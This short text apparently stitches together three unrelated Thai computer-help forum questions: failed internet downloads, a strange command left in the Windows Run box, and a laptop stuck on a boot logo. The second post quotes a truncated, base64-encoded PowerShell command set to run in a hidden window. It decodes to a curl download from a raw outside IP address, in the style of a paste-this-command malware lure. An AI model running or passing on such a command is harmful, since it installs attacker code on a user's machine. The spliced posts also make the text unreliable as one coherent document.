โหลดอะไรในinternetไม่ได้เลยครับ

เมื่อวานผมเปิดคอม แล้วกด Window+R เพื่อเปิดโปรแกรม Run แต่พบว่ามีตัวอักษรคาอยู่ในช่อง คือตัวนี้ powershell -win mini -enc YwB1AHIAbAAuAGUAeABlACAAaAB0AHQAcAA6AC8ALwA0ADUALgAyADIAMQAuADYANAAuADIANAA1AC

อยากทราบวิธีแก้ไขครับ เนื่องด้วยเหตุผลบางประการทำให้ต้องไปลง window 10 ใหม่ พอลงแล้วโปรแกรมมันฟ้องว่าเครื่องปิดทั้งที่เครื่องเปิดตลอด

เล่นโน๊ตบุ๊คแฟน จะกดปิดเครื่องแต่เผลอไปกดตัวเลือกล่างสุด คืออะไรไม่รู้​อ่านไม่ทัน แล้วก็กลายเป็นรูปแบรนด์คอมและกำลังโหลดนะคะ ไม่รู้เรื่องคอมอะไรเลยกลัวแฟนว่าด้วย แก้ยังไงดีคะ